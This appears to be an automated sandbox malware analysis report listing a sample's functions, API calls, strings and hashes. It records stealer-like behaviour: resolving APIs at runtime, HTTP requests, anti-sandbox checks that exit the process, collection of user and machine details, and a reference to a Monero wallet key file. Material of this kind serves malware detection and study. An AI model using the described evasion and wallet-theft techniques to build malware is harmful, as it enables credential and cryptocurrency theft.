GetProcAddress.KERNEL32(73AA0000,0092AF00), ref: 00B8A160
GetProcAddress.KERNEL32(73AA0000,009268A0), ref: 00B8A179
GetProcAddress.KERNEL32(73AA0000,0092B338), ref: 00B8A191
GetProcAddress.KERNEL32(73AA0000,0093CB20), ref: 00B8A1A9
GetProcAddress.KERNEL32(73AA0000,0093CBB0), ref: 00B8A1C2
GetProcAddress.KERNEL32(73AA0000,009267C0), ref: 00B8A1DA
GetProcAddress.KERNEL32(73AA0000,00926920), ref: 00B8A1F2
GetProcAddress.KERNEL32(73AA0000,0093CBC8), ref: 00B8A20B
GetProcAddress.KERNEL32(757E0000,009267E0), ref: 00B8A22C
GetProcAddress.KERNEL32(757E0000,009268C0), ref: 00B8A244
GetProcAddress.KERNEL32(757E0000,0093CB38), ref: 00B8A25D
GetProcAddress.KERNEL32(757E0000,0093CD30), ref: 00B8A275
GetProcAddress.KERNEL32(757E0000,00926900), ref: 00B8A28D
GetProcAddress.KERNEL32(758D0000,0092B068), ref: 00B8A2B3
GetProcAddress.KERNEL32(758D0000,0092AFA0), ref: 00B8A2CB
GetProcAddress.KERNEL32(758D0000,0093CD60), ref: 00B8A2E3
GetProcAddress.KERNEL32(758D0000,00926800), ref: 00B8A2FC
GetProcAddress.KERNEL32(758D0000,00926940), ref: 00B8A314
GetProcAddress.KERNEL32(758D0000,0092B090), ref: 00B8A32C
GetProcAddress.KERNEL32(76BE0000,0093CB08), ref: 00B8A352
GetProcAddress.KERNEL32(76BE0000,009269C0), ref: 00B8A36A
GetProcAddress.KERNEL32(76BE0000,00938800), ref: 00B8A382
GetProcAddress.KERNEL32(76BE0000,0093CDA8), ref: 00B8A39B
GetProcAddress.KERNEL32(76BE0000,0093CAF0), ref: 00B8A3B3
GetProcAddress.KERNEL32(76BE0000,00926960), ref: 00B8A3CB
GetProcAddress.KERNEL32(76BE0000,00926980), ref: 00B8A3E4
GetProcAddress.KERNEL32(76BE0000,0093CCD0), ref: 00B8A3FC
GetProcAddress.KERNEL32(76BE0000,0093CB68), ref: 00B8A414
GetProcAddress.KERNEL32(75670000,00926680), ref: 00B8A436
GetProcAddress.KERNEL32(75670000,0093CDC0), ref: 00B8A44E
GetProcAddress.KERNEL32(75670000,0093CC88), ref: 00B8A466
GetProcAddress.KERNEL32(75670000,0093CC28), ref: 00B8A47F
GetProcAddress.KERNEL32(75670000,0093CD00), ref: 00B8A497
GetProcAddress.KERNEL32(759D0000,009269A0), ref: 00B8A4B8
GetProcAddress.KERNEL32(759D0000,009266C0), ref: 00B8A4D1
GetProcAddress.KERNEL32(76D80000,009269E0), ref: 00B8A4F2
GetProcAddress.KERNEL32(76D80000,0093CCE8), ref: 00B8A50A
GetProcAddress.KERNEL32(6FAA0000,00926A00), ref: 00B8A530
GetProcAddress.KERNEL32(6FAA0000,009266E0), ref: 00B8A548
GetProcAddress.KERNEL32(6FAA0000,00926700), ref: 00B8A560
GetProcAddress.KERNEL32(6FAA0000,0093CB80), ref: 00B8A579
GetProcAddress.KERNEL32(6FAA0000,00926A20), ref: 00B8A591
GetProcAddress.KERNEL32(6FAA0000,00926840), ref: 00B8A5A9
GetProcAddress.KERNEL32(6FAA0000,009266A0), ref: 00B8A5C2
GetProcAddress.KERNEL32(6FAA0000,00926740), ref: 00B8A5DA
GetProcAddress.KERNEL32(6FAA0000,InternetSetOptionA), ref: 00B8A5F1
GetProcAddress.KERNEL32(6FAA0000,HttpQueryInfoA), ref: 00B8A607
GetProcAddress.KERNEL32(75480000,0093CD48), ref: 00B8A629
GetProcAddress.KERNEL32(75480000,00938920), ref: 00B8A641
GetProcAddress.KERNEL32(75480000,0093CC10), ref: 00B8A659
GetProcAddress.KERNEL32(75480000,0093CD78), ref: 00B8A672
GetProcAddress.KERNEL32(753B0000,009267A0), ref: 00B8A693
GetProcAddress.KERNEL32(6FA30000,0093CBE0), ref: 00B8A6B4
GetProcAddress.KERNEL32(6FA30000,00926720), ref: 00B8A6CD
GetProcAddress.KERNEL32(6FA30000,0093CCB8), ref: 00B8A6E5
GetProcAddress.KERNEL32(6FA30000,0093CBF8), ref: 00B8A6FD

Strings

InternetSetOptionA, xrefs: 00B8A5E5
HttpQueryInfoA, xrefs: 00B8A5FC

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 5f868670439fd0ae952cd20429a8de4a8696ed900aba458f51842ad5bbe5c7da
Instruction ID: a474a3158f3ad0a8b8af5147a5f337d2ab80c56696c77804d7356ed657293f88
Opcode Fuzzy Hash: 5f868670439fd0ae952cd20429a8de4a8696ed900aba458f51842ad5bbe5c7da
Instruction Fuzzy Hash: A4622BB9508300EFC354DFADED889663BF9F74C701764871AA609C3764DA3A9842DB72

Function 00B76280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B74839
Part of subcall function 00B747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B74849

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

InternetOpenA.WININET(00B90DFE,00000001,00000000,00000000,00000000), ref: 00B762E1
StrCmpCA.SHLWAPI(?,0093E310), ref: 00B76303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B76335
HttpOpenRequestA.WININET(00000000,GET,?,0093D8A8,00000000,00000000,00400100,00000000), ref: 00B76385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00B763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B7646D
InternetCloseHandle.WININET(00000000), ref: 00B764EF
InternetCloseHandle.WININET(00000000), ref: 00B764F9
InternetCloseHandle.WININET(00000000), ref: 00B76503

Strings

ERROR, xrefs: 00B76407
ERROR, xrefs: 00B764C9
GET, xrefs: 00B7637C

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: f44786b8634a3a805eafa892ff8737fd38991fd47d1601e5515a19f845274a36
Instruction ID: fa4a2ca19d5fd3038758ee11dbf1d298013b5fdbca7dfa28c92a4399ccd3013b
Opcode Fuzzy Hash: f44786b8634a3a805eafa892ff8737fd38991fd47d1601e5515a19f845274a36
Instruction Fuzzy Hash: 00711E75A00218EBEB14EBA4DC45BEE77B8FB44700F108199F509AB290DBB46E85CF51

Function 00B85510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B8A820: lstrlen.KERNEL32(00B74F05,?,?,00B74F05,00B90DDE), ref: 00B8A82B
Part of subcall function 00B8A820: lstrcpy.KERNEL32(00B90DDE,00000000), ref: 00B8A885

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B85644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B85857

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B85228

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B85318
Part of subcall function 00B852C0: lstrlen.KERNEL32(00000000), ref: 00B8532F
Part of subcall function 00B852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00B85364
Part of subcall function 00B852C0: lstrlen.KERNEL32(00000000), ref: 00B85383
Part of subcall function 00B852C0: lstrlen.KERNEL32(00000000), ref: 00B853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B8578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B85940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B85A0C
Sleep.KERNEL32(0000EA60), ref: 00B85A1B

Strings

ERROR, xrefs: 00B8577D
ERROR, xrefs: 00B85636
ERROR, xrefs: 00B859FE
ERROR, xrefs: 00B85693
ERROR, xrefs: 00B85932
ERROR, xrefs: 00B85849

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: d8c0c2dbc48314842802607c70c19f911e2630f46790f73a05fe9d43a8f06daf
Instruction ID: 0d0e51fd5d19bee07798278db43698cc9dd2561d5d395712f497a57ab45d137c
Opcode Fuzzy Hash: d8c0c2dbc48314842802607c70c19f911e2630f46790f73a05fe9d43a8f06daf
Instruction Fuzzy Hash: FBE11275910204DADB18FBA4DC969ED73B8AF54300F5085A9B506A61B1EF386F09CBB2

Function 00B817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00B817C5
ExitProcess.KERNEL32 ref: 00B817D1

Strings

block, xrefs: 00B817B7

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 878d194eec5d19c281550136fa30255900a69de4e8c6ea94e0c927618116849e
Instruction ID: b0cfd0af3123a7e1c80c6ca40045db28803a7b7e1c3da9f76d9d53b2fae62963
Opcode Fuzzy Hash: 878d194eec5d19c281550136fa30255900a69de4e8c6ea94e0c927618116849e
Instruction Fuzzy Hash: 46515CB4A11209EFDB04EFA8D994ABE77F9BF44304F104499E806A7360D770E952CB62

Function 00B87500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B87542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B8757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B87603
RtlAllocateHeap.NTDLL(00000000), ref: 00B8760A
wsprintfA.USER32 ref: 00B87640

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Strings

C, xrefs: 00B8754C
\, xrefs: 00B87560
:, xrefs: 00B8755C

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: a799bbc932a83722768f665f9870b031f8b3598b1030c3d144eae0183f8f3dc9
Instruction ID: 2badba9054af26c58c4c6a5b57660e45a8d956f945407b84bfc0842852c6f1d6
Opcode Fuzzy Hash: a799bbc932a83722768f665f9870b031f8b3598b1030c3d144eae0183f8f3dc9
Instruction Fuzzy Hash: 2B4183B1D44348EBDB10EF98DC85BDEBBB8EF18704F100199F509A7290DB74AA44CBA5

Function 00B869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009306D8), ref: 00B898A1
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009306A8), ref: 00B898BA
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009306C0), ref: 00B898D2
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009306F0), ref: 00B898EA
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009307B0), ref: 00B89903
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00938890), ref: 00B8991B
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00926600), ref: 00B89933
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009264C0), ref: 00B8994C
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00930558), ref: 00B89964
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00930708), ref: 00B8997C
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00930840), ref: 00B89995
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00930720), ref: 00B899AD
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,009262E0), ref: 00B899C5
Part of subcall function 00B89860: GetProcAddress.KERNEL32(75550000,00930768), ref: 00B899DE

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B711D0: ExitProcess.KERNEL32 ref: 00B71211

Part of subcall function 00B71160: GetSystemInfo.KERNEL32(?), ref: 00B7116A
Part of subcall function 00B71160: ExitProcess.KERNEL32 ref: 00B7117E

Part of subcall function 00B71110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B7112B
Part of subcall function 00B71110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00B71132
Part of subcall function 00B71110: ExitProcess.KERNEL32 ref: 00B71143

Part of subcall function 00B71220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B7123E
Part of subcall function 00B71220: __aulldiv.LIBCMT ref: 00B71258
Part of subcall function 00B71220: __aulldiv.LIBCMT ref: 00B71266
Part of subcall function 00B71220: ExitProcess.KERNEL32 ref: 00B71294

Part of subcall function 00B86770: GetUserDefaultLangID.KERNEL32 ref: 00B86774

Part of subcall function 00B71190: ExitProcess.KERNEL32 ref: 00B711C6

Part of subcall function 00B87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B711B7), ref: 00B87880
Part of subcall function 00B87850: RtlAllocateHeap.NTDLL(00000000), ref: 00B87887
Part of subcall function 00B87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B8789F

Part of subcall function 00B878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B87910
Part of subcall function 00B878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B87917
Part of subcall function 00B878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B8792F

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,009388A0,?,00B9110C,?,00000000,?,00B91110,?,00000000,00B90AEF), ref: 00B86ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B86AE8
CloseHandle.KERNEL32(00000000), ref: 00B86AF9
Sleep.KERNEL32(00001770), ref: 00B86B04
CloseHandle.KERNEL32(?,00000000,?,009388A0,?,00B9110C,?,00000000,?,00B91110,?,00000000,00B90AEF), ref: 00B86B1A
ExitProcess.KERNEL32 ref: 00B86B22

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: a78f98fd82dc01352f0771400092bcfeb16bccf0bf99f4a8bbb0c8464c860f8b
Instruction ID: e0e2a80e02bdc9a69c2a32f13a7385e158ebf9c6661ebbefaca1a65ca614d0ed
Opcode Fuzzy Hash: a78f98fd82dc01352f0771400092bcfeb16bccf0bf99f4a8bbb0c8464c860f8b
Instruction Fuzzy Hash: CC310B71904219AAEB04FBF4DC56BEE77F8AF04340F5045A9F212B61A2DF746A05C7B2

Function 00B71220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B7123E
__aulldiv.LIBCMT ref: 00B71258
__aulldiv.LIBCMT ref: 00B71266
ExitProcess.KERNEL32 ref: 00B71294

Strings

@, xrefs: 00B71233

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: d9d7a19ccbee129aea6b880ec43d06483a16acc566f1d9ae1def86a96b02ccec
Instruction ID: 66706002c5ca8c24ec4fd36284e28e6f94d1df466db6107a7c5755b19762e500
Opcode Fuzzy Hash: d9d7a19ccbee129aea6b880ec43d06483a16acc566f1d9ae1def86a96b02ccec
Instruction Fuzzy Hash: D2014FB0D44308FADB10EFD8CC49B9DB7B8AB04701F208589E709B62D1D67455418BA9

Function 00B86AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,009388A0,?,00B9110C,?,00000000,?,00B91110,?,00000000,00B90AEF), ref: 00B86ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B86AE8
CloseHandle.KERNEL32(00000000), ref: 00B86AF9
Sleep.KERNEL32(00001770), ref: 00B86B04
CloseHandle.KERNEL32(?,00000000,?,009388A0,?,00B9110C,?,00000000,?,00B91110,?,00000000,00B90AEF), ref: 00B86B1A
ExitProcess.KERNEL32 ref: 00B86B22

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
